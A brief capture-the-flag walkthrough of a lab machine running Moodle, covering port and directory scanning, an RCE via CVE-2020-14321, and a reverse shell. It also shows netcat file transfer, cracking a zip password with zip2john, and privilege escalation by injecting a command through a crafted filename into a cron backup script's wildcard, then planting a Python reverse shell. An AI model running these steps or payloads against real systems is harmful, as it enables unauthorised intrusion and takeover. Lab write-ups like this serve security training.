nmap
1 | nmap -v -p- -sV 10.10.82.220 |
Output:
1 | PORT STATE SERVICE VERSION |
10.10.82.220:80
10.10.82.220:8820
10.10.82.220:9020
Gobuster
1 | gobuster dir -u http://10.10.82.220:9020/. -x txt,html,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |

Only the website moodle is interesting.
Moodle

But as I can see for the CVE-2020-14321 I need a teacher account.


RCE
https://github.com/HoangKien1020/CVE-2020-14321
It’s working for thi one, once it’s done I can’t do it again

Revershell
I’m gonna use this one:

It’s working.

Upgrade the shell
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
Then Ctrl + Z.
1 | stty raw -echo; fg # allow auto completion |
LSE
Linpeas was too slow, I’m gonna use lse and try linpeas later

sql.bak.zip

1 | nc -l -p 4850 > sql.bak.zip |
1 | cd /var/www/9020/ |
There is a password on the zip file.

Crack the zip file
1 | zip2john sql.bak.zip > hash.txt |
Output:
1 | sql.bak.zip/backup.sql:whatever:backup.sql:sql.bak.zip::sql.bak.zip |
Password: whatever

it’s not a sql file:

https://www.youtube.com/watch?v=dQw4w9WgXcQ
… ok

/etc/crontab

1 | cat /etc/crontab |
Output:
1 | # /etc/crontab: system-wide crontab |
This line is interesting :
1 | * * * * * plot_admin /usr/bin/python3 /home/plot_admin/backup.py |
/home/plot_admin/backup.py
1 | import os |
At the line os.system he remove everything in backup_location, to do that he use *.
So in the directory /var/www/uploadedfiles/filedir you can create a file where the file name will be interpreted as a command.
1 | touch '"|chmod -R 777 .|"' |
Now we can write and read into /home/plot_admin.
Privesc
Now I will add a python revershell into the backup script.
https://www.revshells.com/
1 | import socket |

I have the user plot_admin.

Now I need a better shell, let’s use ssh.
But I juste broke the machine again, there is not enough ram or cpu IDK.
Even the website is not responding.